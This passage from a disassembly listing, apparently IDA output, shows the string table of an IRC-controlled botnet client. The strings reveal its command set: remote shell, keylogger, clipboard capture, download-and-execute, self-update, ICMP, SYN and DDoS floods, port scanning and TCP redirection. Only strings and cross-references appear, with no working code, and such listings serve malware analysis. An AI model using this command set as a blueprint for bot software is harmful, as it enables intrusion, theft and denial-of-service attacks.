XREF: seg000:00403E3Do align 4 aProcsstop db 'procsstop',0 ; DATA XREF: seg000:00403E48o align 4 aPsstop db 'psstop',0 ; DATA XREF: seg000:00403E5Do align 10h aProcessList db 'Process list',0 ; DATA XREF: seg000:004081FDo align 10h aProc db '[PROC]',0 ; DATA XREF: seg000:00408202o align 4 aClonestop db 'clonestop',0 ; DATA XREF: seg000:00403E72o align 4 aClone db 'Clone',0 ; DATA XREF: seg000:00403E8Bo align 4 aClones db '[CLONES]',0 ; DATA XREF: seg000:00403E90o align 4 aSecurestop db 'securestop',0 ; DATA XREF: seg000:00403E9Bo align 4 aSecure db 'Secure',0 ; DATA XREF: seg000:00403EB4o align 4 aSecure_0 db '[SECURE]',0 ; DATA XREF: seg000:00403EB9o align 4 aScanstop db 'scanstop',0 ; DATA XREF: seg000:00403EC4o align 4 aScan_0 db 'Scan',0 ; DATA XREF: seg000:00403EDDo align 4 aScan_1 db '[SCAN]',0 ; DATA XREF: seg000:00403EE2o align 4 aScanstats db 'scanstats',0 ; DATA XREF: seg000:00403EEDo align 10h aStats db 'stats',0 ; DATA XREF: seg000:00403F02o align 4 aReconnect db 'reconnect',0 ; DATA XREF: seg000:00403F17o align 4 aR: ; DATA XREF: seg000:00403F2Co unicode 0, <r>,0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4081BDo align 10h aMainReconnecti db '[MAIN]: Reconnecting.',0 ; DATA XREF: seg000:004081CAo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: seg000:00403F41o align 4 aDc db 'dc',0 ; DATA XREF: seg000:00403F56o align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40819Bo align 10h aMainDisconnect db '[MAIN]: Disconnecting.',0 ; DATA XREF: seg000:004081A8o align 4 aQuit_0 db 'quit',0 ; DATA XREF: seg000:00403F6Bo align 10h aQ: ; DATA XREF: seg000:00403F80o unicode 0, <q>,0 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00408173o align 10h aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:loc_408185o align 10h aStatus db 'status',0 ; DATA XREF: seg000:00403F95o align 4 aS_0: ; DATA XREF: seg000:00403FAAo unicode 0, <s>,0 aMainStatusRead db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: seg000:00408127o align 4 aId db 'id',0 ; DATA XREF: seg000:00403FBFo align 4 aI_0: ; DATA XREF: seg000:00403FD4o unicode 0, <i>,0 aMainBotIdS_ db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: seg000:004080E9o aReboot db 'reboot',0 ; DATA XREF: seg000:00403FE9o align 4 aMainRebootingS db '[MAIN]: Rebooting system.',0 ; DATA XREF: seg000:00404000o align 4 aMainFailedToRe db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: seg000:00404007o align 4 aThreads db 'threads',0 ; DATA XREF: seg000:0040403Bo aT: ; DATA XREF: seg000:00404050o unicode 0, <t>,0 aSub db 'sub',0 ; DATA XREF: seg000:0040802Do aThreadsListThr db '[THREADS]: List threads.',0 ; DATA XREF: seg000:00408053o align 4 aThreadsFaile_0 db '[THREADS]: Failed to start list thread, error: <%d>.',0 ; DATA XREF: seg000:004080BEo align 4 aAliases db 'aliases',0 ; DATA XREF: seg000:00404065o aAl db 'al',0 ; DATA XREF: seg000:0040407Ao align 4 aMainAliasList_ db '[MAIN]: Alias list.',0 ; DATA XREF: seg000:00407FDEo aLog990 db 'log990',0 ; DATA XREF: seg000:0040408Fo align 4 aLg909 db 'lg909',0 ; DATA XREF: seg000:004040A4o align 4 aS_18 db '%s',0 ; DATA XREF: seg000:00407F03o align 10h aLogListingLog_ db '[LOG]: Listing log.',0 ; DATA XREF: seg000:00407F36o aLogFailedToSta db '[LOG]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: seg000:00407FC3o aClearlog db 'clearlog',0 ; DATA XREF: seg000:004040B9o align 4 aClg db 'clg',0 ; DATA XREF: seg000:004040CEo aNetinfo db 'netinfo',0 ; DATA XREF: seg000:004040E3o aNi db 'ni',0 ; DATA XREF: seg000:004040F8o align 4 aMainNetworkInf db '[MAIN]: Network Info.',0 ; DATA XREF: seg000:00407EB2o align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: seg000:0040410Do aSi db 'si',0 ; DATA XREF: seg000:00404122o align 4 aMainSystemInfo db '[MAIN]: System Info.',0 ; DATA XREF: seg000:00407E83o align 10h aR010m db 'r010m',0 ; DATA XREF: seg000:00404137o align 4 aR010m_0 db 'r010m',0 ; DATA XREF: seg000:0040414Co align 10h aMainRemovingBo db '[MAIN]: Removing Bot.',0 ; DATA XREF: seg000:00407E2Eo align 4 aProcs db 'procs',0 ; DATA XREF: seg000:00404161o align 10h aPs db 'ps',0 ; DATA XREF: seg000:00404176o align 4 aProcAlreadyRun db '[PROC]: Already running.',0 ; DATA XREF: seg000:00407D1Bo align 10h aFull db 'full',0 ; DATA XREF: seg000:00407D7Do align 4 aProcsProccessL db '[PROCS]: Proccess list.',0 ; DATA XREF: seg000:00407D9Do aProcsFailedToS db '[PROCS]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: seg000:00407E12o align 4 aUptime90 db 'uptime90',0 ; DATA XREF: seg000:0040418Bo align 4 aUp909 db 'up909',0 ; DATA XREF: seg000:004041A0o align 4 aMainUptimeS_ db '[MAIN]: Uptime: %s.',0 ; DATA XREF: seg000:00407CCDo aDriveinfo db 'driveinfo',0 ; DATA XREF: seg000:004041B5o align 4 aDrv db 'drv',0 ; DATA XREF: seg000:004041CAo aTestdlls db 'testdlls',0 ; DATA XREF: seg000:004041DFo align 4 aDll db 'dll',0 ; DATA XREF: seg000:004041F4o aOpencmd db 'opencmd',0 ; DATA XREF: seg000:00404209o aOcmd db 'ocmd',0 ; DATA XREF: seg000:0040421Eo align 10h aCmdRemoteShell db '[CMD]: Remote shell already running.',0 ; DATA XREF: seg000:00407C0Do align 4 aCmdCouldnTOpen db '[CMD]: Couldn',27h,'t open remote shell.',0 ; DATA XREF: seg000:00407C29o align 4 aCmdRemoteShe_0 db '[CMD]: Remote shell ready.',0 ; DATA XREF: seg000:loc_407C30o align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: seg000:00404233o aRemoteShell db 'Remote shell',0 ; DATA XREF: seg000:0040424Co align 10h aCmd db '[CMD]',0 ; DATA XREF: seg000:00404251o align 4 aWho db 'who',0 ; DATA XREF: seg000:0040425Co aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:00404275o align 4 aEmpty db '<Empty>',0 ; DATA XREF: seg000:00404297o aD_S db '%d. %s',0 ; DATA XREF: seg000:004042A4o align 4 aMainLoginListC db '[MAIN]: Login list complete.',0 ; DATA XREF: seg000:004042D8o align 4 aGetclip db 'getclip',0 ; DATA XREF: seg000:004042E9o aGc db 'gc',0 ; DATA XREF: seg000:004042FEo align 4 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00407BC9o align 4 aMainGetClipboa db '[MAIN]: Get Clipboard.',0 ; DATA XREF: seg000:00407BF7o align 4 aFlusharp db 'flusharp',0 ; DATA XREF: seg000:00404313o align 10h aFarp db 'farp',0 ; DATA XREF: seg000:00404328o align 4 aFlushdnsArpCac db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: seg000:00407B9Eo align 4 aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0 ; DATA XREF: seg000:loc_407BA5o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: seg000:0040433Do align 4 aFdns db 'fdns',0 ; DATA XREF: seg000:00404352o align 4 aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: seg000:00407B80o align 4 aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0 ; DATA XREF: seg000:loc_407B87o align 4 aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0 ; DATA XREF: seg000:loc_407B8Eo align 4 aCurrentip db 'currentip',0 ; DATA XREF: seg000:00404367o align 10h aCip db 'cip',0 ; DATA XREF: seg000:0040437Co aRloginserver db 'rloginserver',0 ; DATA XREF: seg000:00404391o align 4 aRlogin db 'rlogin',0 ; DATA XREF: seg000:004043A6o align 4 aRlogindServerL db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0 ; DATA XREF: seg000:00407A97o aRlogindFailedT db '[RLOGIND]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: seg000:00407B02o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: seg000:004043BBo align 4 aHttp db 'http',0 ; DATA XREF: seg000:004043D0o align 10h aHttpdServerLis db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0 ; DATA XREF: seg000:0040795Fo aHttpdFailedToS db '[HTTPD]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: seg000:004079CEo align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: seg000:004043E5o align 4 aTftp db 'tftp',0 ; DATA XREF: seg000:004043FAo align 4 aTftpAlreadyRun db '[TFTP]: Already running.',0 ; DATA XREF: seg000:00407722o align 10h aTftpServerStar db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0 ; DATA XREF: seg000:004077E9o align 4 aTftpFailedToSt db '[TFTP]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: seg000:00407858o aScanall db 'scanall',0 ; DATA XREF: seg000:0040440Fo aVall db 'vall',0 ; DATA XREF: seg000:00404424o align 10h aScanAlreadyD_0 db '[SCAN]: Already %d scanning threads. Too many specified.',0 ; DATA XREF: seg000:0040746Ao align 4 aScanFailedTo_4 db '[SCAN]: Failed to start scan, port is invalid.',0 ; DATA XREF: seg000:loc_40770Co align 4 aRandom_1 db 'Random',0 ; DATA XREF: seg000:0040761Bo align 4 aSequential_0 db 'Sequential',0 ; DATA XREF: seg000:00407622o align 10h aScanSPortSca_0 db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds ' ; DATA XREF: seg000:0040764Do db 'for %d minutes using %d threads.',0 align 4 aScanFailedTo_3 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: seg000:004076BEo align 4 aNick_0 db 'nick',0 ; DATA XREF: seg000:0040444Ao align 10h aN: ; DATA XREF: seg000:00404461o unicode 0, <n>,0 aNickS_1 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:00407403o align 10h aMainNickChange db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: seg000:00407411o align 10h aJoin db 'join',0 ; DATA XREF: seg000:00404478o align 4 aJ: ; DATA XREF: seg000:0040448Fo unicode 0, <j>,0 aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004073EAo align 4 aMainJoinedCh_0 db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0 ; DATA XREF: seg000:004073F8o align 4 aPart_1 db 'part',0 ; DATA XREF: seg000:004044A6o align 4 aPt db 'pt',0 ; DATA XREF: seg000:004044BDo align 4 aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: seg000:004073CAo align 4 aMainPartedChan db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0 ; DATA XREF: seg000:004073D8o align 4 aRaw db 'raw',0 ; DATA XREF: seg000:004044D4o aR_1: ; DATA XREF: seg000:004044EBo unicode 0, <r>,0 aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:004073B1o align 4 aMainIrcRawS_ db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: seg000:004073BFo align 4 aKillthread db 'killthread',0 ; DATA XREF: seg000:00404502o align 4 aK: ; DATA XREF: seg000:00404519o unicode 0, <k>,0 aAll db 'all',0 ; DATA XREF: seg000:004072D0o aThreadsStopped db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: seg000:004072EAo align 4 aThreadsNoActiv db '[THREADS]: No active threads found.',0 ; DATA XREF: seg000:loc_4072F4o aThreadsKilledT db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: seg000:0040733Ao align 4 aThreadsFailedT db '[THREADS]: Failed to kill thread: %s.',0 ; DATA XREF: seg000:loc_407341o align 10h aC_quit db 'c_quit',0 ; DATA XREF: seg000:00404530o align 4 aC_q db 'c_q',0 ; DATA XREF: seg000:00404547o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00407245o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: seg000:0040455Eo align 4 aC_rn db 'c_rn',0 ; DATA XREF: seg000:00404575o align 10h aNickS_0 db 'NICK %s',0 ; DATA XREF: seg000:00407205o aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040721Ao align 10h aPrefix db 'prefix',0 ; DATA XREF: seg000:0040458Co align 4 aPr db 'pr',0 ; DATA XREF: seg000:004045A3o align 4 aMainPrefixChan db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0 ; DATA XREF: seg000:004071C3o align 10h aOpen db 'open',0 ; DATA XREF: seg000:004045BAo align 4 aO: ; DATA XREF: seg000:004045D1o unicode 0, <o>,0 aOpen_1 db 'open',0 ; DATA XREF: seg000:00407193o align 4 aShellFileOpene db '[SHELL]: File opened: %s',0 ; DATA XREF: seg000:004071A4o align 10h aShellCouldnTOp db '[SHELL]: Couldn',27h,'t open file: %s',0 ; DATA XREF: seg000:loc_4071AEo aServer db 'server',0 ; DATA XREF: seg000:004045E8o align 4 aSe db 'se',0 ; DATA XREF: seg000:004045FFo align 4 aMainServerChan db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: seg000:0040717Bo align 10h aDns db 'dns',0 ; DATA XREF: seg000:00404616o aDn db 'dn',0 ; DATA XREF: seg000:0040462Do align 4 aDnsLookupSS_ db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: seg000:00407117o align 4 aDnsLookupSS__0 db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: seg000:0040714Ao align 10h aDnsCouldnTReso db '[DNS]: Couldn',27h,'t resolve hostname.',0 ; DATA XREF: seg000:loc_407151o align 4 aKillproc db 'killproc',0 ; DATA XREF: seg000:00404644o align 10h aKp db 'kp',0 ; DATA XREF: seg000:0040465Bo align 4 aProcProcessK_0 db '[PROC]: Process killed: %s',0 ; DATA XREF: seg000:004070DFo align 10h aProcFailedTo_0 db '[PROC]: Failed to terminate process: %s',0 ; DATA XREF: seg000:loc_4070E9o aKill db 'kill',0 ; DATA XREF: seg000:00404672o align 10h aKi db 'ki',0 ; DATA XREF: seg000:00404689o align 4 aProcProcessKil db '[PROC]: Process killed ID: %s',0 ; DATA XREF: seg000:00407082o align 4 aProcFailedToTe db '[PROC]: Failed to terminate process ID: %s',0 ; DATA XREF: seg000:loc_407089o align 10h aDelete db 'delete',0 ; DATA XREF: seg000:004046A0o align 4 aDel db 'del',0 ; DATA XREF: seg000:004046B7o aFileDeletedS_ db '[FILE]: Deleted ',27h,'%s',27h,'.',0 align 4 aFile_3 db '[FILE]:',0 ; DATA XREF: seg000:00407048o aList db 'list',0 ; DATA XREF: seg000:004046CEo align 4 aLi db 'li',0 ; DATA XREF: seg000:004046E5o align 4 aFileListS db '[FILE]: List: %s',0 ; DATA XREF: seg000:0040702Bo align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: seg000:004046FCo aMirc db 'mirc',0 ; DATA XREF: seg000:00404713o align 4 aMircClientNotO db '[mIRC]: Client not open.',0 ; DATA XREF: seg000:00407006o align 4 aMircCommandSen db '[mIRC]: Command sent.',0 ; DATA XREF: seg000:loc_407010o align 10h aCmd_0 db 'cmd',0 ; DATA XREF: seg000:0040472Ao aCm db 'cm',0 ; DATA XREF: seg000:00404741o align 4 asc_43EA58: ; DATA XREF: seg000:00406FB2o dw 0Ah unicode 0, <>,0 aCmdErrorSendin db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: seg000:00406FCAo align 4 aCmdCommandsS db '[CMD]: Commands: %s',0 ; DATA XREF: seg000:00406FD5o aReadfile db 'readfile',0 ; DATA XREF: seg000:00404758o align 4 aRf db 'rf',0 ; DATA XREF: seg000:0040476Fo align 4 aR_0: ; DATA XREF: seg000:loc_406F0Fo unicode 0, <r>,0 aMainReadFileCo db '[MAIN]: Read file complete: %s',0 ; DATA XREF: seg000:00406F76o align 4 aMainReadFileFa db '[MAIN]: Read file failed: %s',0 ; DATA XREF: seg000:00406F8Ao align 4 aIdent db 'ident',0 ; DATA XREF: seg000:00404786o align 4 aOn db 'on',0 ; DATA XREF: seg000:0040479Bo align 4 aIdentAlreadyRu db '[IDENT]: Already running.',0 ; DATA XREF: seg000:004047B7o align 4 aIdentdServerRu db '[IDENTD]: Server running on Port: 113.',0 ; DATA XREF: seg000:004047C7o align 4 aIdentdFailedTo db '[IDENTD]: Failed to start server, error: <%d>.',0 ; DATA XREF: seg000:00404814o align 4 aOff db 'off',0 ; DATA XREF: seg000:0040481Fo aIdentServerSto db '[IDENT]: Server stopped. (%d thread(s) stopped.)',0 ; DATA XREF: seg000:00404842o align 4 aIdentNoThreadF db '[IDENT]: No thread found.',0 ; DATA XREF: seg000:loc_40484Co align 10h aKeylog db 'keylog',0 ; DATA XREF: seg000:00404859o align 4 aOn_0 db 'on',0 ; DATA XREF: seg000:0040486Eo align 4 aFile db 'file',0 ; DATA XREF: seg000:0040487Fo align 4 aKeylogAlreadyR db '[KEYLOG]: Already running.',0 ; DATA XREF: seg000:004048D3o align 10h aFile_0 db 'file',0 ; DATA XREF: seg000:004048EAo align 4 aKeylogKeyLog_0 db '[KEYLOG]: Key logger active.',0 ; DATA XREF: seg000:00404954o align 4 aKeylogFailedTo db '[KEYLOG]: Failed to start logging thread, error: <%d>.',0 ; DATA XREF: seg000:004049C3o align 10h aOff_0 db 'off',0 ; DATA XREF: seg000:00404890o aKeylogKeyLogge db '[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)',0 ; DATA XREF: seg000:004048B3o align 4 aKeylogNoKeyLog db '[KEYLOG]: No key logger thread found.',0 ; DATA XREF: seg000:loc_4048BDo align 4 aNet db 'net',0 ; DATA XREF: seg000:004049D0o aStart db 'start',0 ; DATA XREF: seg000:00404A27o align 10h aS_1 db '%s',0 ; DATA XREF: seg000:00404A47o align 4 aNetServiceList db '[NET]: Service list completed.',0 ; DATA XREF: seg000:00404A78o align 4 aNetServiceLi_0 db '[NET]: Service list failed.',0 ; DATA XREF: seg000:loc_404A82o aStop db 'stop',0 ; DATA XREF: seg000:00404A8Do align 4 aS_2 db '%s',0 ; DATA XREF: seg000:00404AA8o align 4 aPause db 'pause',0 ; DATA XREF: seg000:00404AB0o align 4 aS_3 db '%s',0 ; DATA XREF: seg000:00404ACBo align 4 aContinue db 'continue',0 ; DATA XREF: seg000:00404AD6o align 4 aS_4 db '%s',0 ; DATA XREF: seg000:00404AF1o align 4 aDelete_0 db 'delete',0 ; DATA XREF: seg000:00404AFCo align 10h aS_5 db '%s',0 ; DATA XREF: seg000:00404B17o align 4 aShare db 'share',0 ; DATA XREF: seg000:00404B22o align 4 aS_6 db '%s',0 ; DATA XREF: seg000:00404B4Bo align 10h aS_7 db '%s',0 ; DATA XREF: seg000:00404B63o align 4 aNetShareListCo db '[NET]: Share list completed.',0 ; DATA XREF: seg000:00404B95o align 4 aNetShareListFa db '[NET]: Share list failed.',0 ; DATA XREF: seg000:loc_404B9Fo align 10h aUser db 'user',0 ; DATA XREF: seg000:00404BAAo align 4 aS_8 db '%s',0 ; DATA XREF: seg000:00404BE3o align 4 aS_9 db '%s',0 ; DATA XREF: seg000:00404C0Ao align 10h aS_10 db '%s',0 ; DATA XREF: seg000:00404C1Bo align 4 aNetUserListCom db '[NET]: User list completed.',0 ; DATA XREF: seg000:00404C4Do aNetUserListFai db '[NET]: User list failed.',0 ; DATA XREF: seg000:loc_404C57o align 4 aSend_0 db 'send',0 ; DATA XREF: seg000:00404C62o align 4 aS_11 db '%s',0 ; DATA XREF: seg000:00404C92o align 4 aNetNoMessageSp db '[NET]: No message specified.',0 ; DATA XREF: seg000:loc_404CA5o align 4 aNetCommandUnkn db '[NET]: Command unknown.',0 ; DATA XREF: seg000:loc_404CAFo aNetFailedToLoa db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0 ; DATA XREF: seg000:004049F4o aGethost db 'gethost',0 ; DATA XREF: seg000:00404CBCo aGh db 'gh',0 ; DATA XREF: seg000:00404CD3o align 10h aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: seg000:00406E73o align 10h aMainGethostSCo db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: seg000:00406E9Ao align 4 aMainUnableToEx db '[MAIN]: Unable to extract Gethost command.',0 ; DATA XREF: seg000:00406EB6o align 10h aMainGethostS_ db '[MAIN]: Gethost: %s.',0 ; DATA XREF: seg000:00406EF1o align 4 aAddalias db 'addalias',0 ; DATA XREF: seg000:00404CFCo align 4 aAa db 'aa',0 ; DATA XREF: seg000:00404D13o align 4 aMainAliasAdded db '[MAIN]: Alias added: %s.',0 ; DATA XREF: seg000:00406E18o align 4 aPrivmsg_2 db 'privmsg',0 ; DATA XREF: seg000:00404D2Ao aPm db 'pm',0 ; DATA XREF: seg000:00404D41o align 10h aMainPrivmsgSS_ db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: seg000:00406DDDo align 4 aAction db 'action',0 ; DATA XREF: seg000:00404D58o align 4 aA: ; DATA XREF: seg000:00404D6Fo unicode 0, <a>,0 dword_43EF28 dd 54434101h, 204E4F49h, 17325haMainActionSS_ db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: seg000:00406D87o aCycle db 'cycle',0 ; DATA XREF: seg000:00404D86o align 4 aCy db 'cy',0 ; DATA XREF: seg000:00404D9Do align 4 a332_2 db '332',0 ; DATA XREF: seg000:00406CCEo aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: seg000:00406CE5o align 4 aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00406D12o align 4 aMainCycle_ db '[MAIN]: Cycle.',0 ; DATA XREF: seg000:00406D1Fo align 4 aMode db 'mode',0 ; DATA XREF: seg000:00404DB4o align 10h aM: ; DATA XREF: seg000:00404DCBo unicode 0, <m>,0 aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:00406CA8o align 10h aMainModeChange db '[MAIN]: Mode change: %s',0 ; DATA XREF: seg000:00406CB6o aC_raw db 'c_raw',0 ; DATA XREF: seg000:00404DE2o align 10h aC_r db 'c_r',0 ; DATA XREF: seg000:00404DF9o aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406C60o align 4 aCloneRawSS db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: seg000:00406C7Fo align 4 aC_mode db 'c_mode',0 ; DATA XREF: seg000:00404E10o align 4 aC_m db 'c_m',0 ; DATA XREF: seg000:00404E27o aModeS db 'MODE %s',0 ; DATA XREF: seg000:00406BBFo aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406BF5o align 10h aCloneModeSS db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: seg000:00406C14o align 4 aC_nick db 'c_nick',0 ; DATA XREF: seg000:00404E3Eo align 10h aC_n db 'c_n',0 ; DATA XREF: seg000:00404E55o aNickS db 'NICK %s',0 ; DATA XREF: seg000:00406B34o aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406B69o align 4 aCloneNickSS db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: seg000:00406B8Ao align 4 aC_join db 'c_join',0 ; DATA XREF: seg000:00404E6Co align 4 aC_j db 'c_j',0 ; DATA XREF: seg000:00404E83o aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: seg000:00406AEFo align 4 aS_13 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406B24o align 4 aC_part db 'c_part',0 ; DATA XREF: seg000:00404E9Ao align 4 aC_p db 'c_p',0 ; DATA XREF: seg000:00404EB1o aPartS db 'PART %s',0 ; DATA XREF: seg000:00406A85o aS_12 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406ABAo align 4 aRepeat db 'repeat',0 ; DATA XREF: seg000:00404EC8o align 10h aRp db 'rp',0 ; DATA XREF: seg000:00404EDFo align 4 a332_1 db '332',0 ; DATA XREF: seg000:004069BCo aRepeat_0 db 'repeat',0 ; DATA XREF: seg000:004069EAo align 10h aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: seg000:00406A15o align 10h aMainRepeatS db '[MAIN]: Repeat: %s',0 ; DATA XREF: seg000:00406A3Bo align 4 aMainRepeatNotA db '[MAIN]: Repeat not allowed in command line: %s',0 ; DATA XREF: seg000:loc_406A72o align 4 aDelay db 'delay',0 ; DATA XREF: seg000:00404EF6o align 4 aDe db 'de',0 ; DATA XREF: seg000:00404F0Do align 10h a332_0 db '332',0 ; DATA XREF: seg000:00406921o aSSSS db '%s %s %s :%s',0 ; DATA XREF: seg000:00406962o align 4 aMainDelay_ db '[MAIN]: Delay.',0 ; DATA XREF: seg000:loc_4069A2o align 4 aUpdate909 db 'update909',0 ; DATA XREF: seg000:00404F24o align 10h aUp909_0 db 'up909',0 ; DATA XREF: seg000:00404F3Bo align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:004067B8o align 4 aUpdateDownload db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: seg000:0040685Eo align 4 aUpdateFailedTo db '[UPDATE]: Failed to start download thread, error: <%d>.',0 ; DATA XREF: seg000:004068C9o aUpdateBotIdMus db '[UPDATE]: Bot ID must be different than current running process.',0 ; DATA XREF: seg000:loc_4068DFo align 4 aExecute db 'execute',0 ; DATA XREF: seg000:00404F52o aE: ; DATA XREF: seg000:00404F69o unicode 0, <e>,0 aExecCouldnTExe db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: seg000:0040674Eo align 4 aExecCommandsS db '[EXEC]: Commands: %s',0 ; DATA XREF: seg000:00406759o align 4 aRename db 'rename',0 ; DATA XREF: seg000:00404F80o align 4 aMv db 'mv',0 ; DATA XREF: seg000:00404F97o align 4 aFileRenameSToS db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 ; DATA XREF: seg000:00406664o align 4 aFile_1 db '[FILE]:',0 ; DATA XREF: seg000:loc_406679o aIcmpflood db 'icmpflood',0 ; DATA XREF: seg000:00404FAEo align 4 aIcmp db 'icmp',0 ; DATA XREF: seg000:00404FC5o align 4 aIcmpFloodingSF db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: seg000:004065BEo align 4 aIcmpFailedToSt db '[ICMP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: seg000:00406638o align 10h aIcmpInvalidFlo db '[ICMP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: seg000:loc_406642o align 4 aClone_0 db 'clone',0 ; DATA XREF: seg000:00404FEEo align 4 aC: ; DATA XREF: seg000:00405005o unicode 0, <c>,0 aClonesCreatedO db '[CLONES]: Created on %s:%d, in channel %s.',0 ; DATA XREF: seg000:004064D8o align 4 aClonesFailedTo db '[CLONES]: Failed to start clone thread, error: <%d>.',0 ; DATA XREF: seg000:00406547o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:0040501Co align 10h aUsa_ack db 'usa.ack',0 ; DATA XREF: seg000:00405033o aUsa_ran db 'usa.ran',0 ; DATA XREF: seg000:0040504Ao aDdosFloodingSS db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: seg000:004063D8o align 4 aDdosFailedToSt db '[DDoS]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: seg000:00406450o align 10h aSynflood db 'synflood',0 ; DATA XREF: seg000:00405061o align 4 aSy1 db 'sy1',0 ; DATA XREF: seg000:00405078o aSynFloodingSSF db '[SYN]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: seg000:004062C9o align 4 aSynFailedToSta db '[SYN]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: seg000:00406343o align 10h aDownload909 db 'download909',0 ; DATA XREF: seg000:0040508Fo aDl909 db 'dl909',0 ; DATA XREF: seg000:004050A6o align 4 aDownloadDownlo db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: seg000:004061EAo aDownloadFailed db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0 ; DATA XREF: seg000:00406259o align 4 aRedirect_0 db 'redirect',0 ; DATA XREF: seg000:004050BDo align 4 aRd db 'rd',0 ; DATA XREF: seg000:004050D4o align 4 aRedirectTcpRed db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0 ; DATA XREF: seg000:004060ACo aRedirectFailed db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0 ; DATA XREF: seg000:0040611Bo align 10h aScan db 'scan',0 ; DATA XREF: seg000:004050EBo align 4 aSc db 'sc',0 ; DATA XREF: seg000:00405102o align 4 aScanPortScanSt db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0 ; DATA XREF: seg000:00405FB2o align 4 aScanFailedTo_2 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: seg000:00406021o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: seg000:00405119o align 4 aC_pm db 'c_pm',0 ; DATA XREF: seg000:00405130o align 4 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:00405F2Eo align 4 aC_action db 'c_action',0 ; DATA XREF: seg000:00405147o align 4 aC_a db 'c_a',0 ; DATA 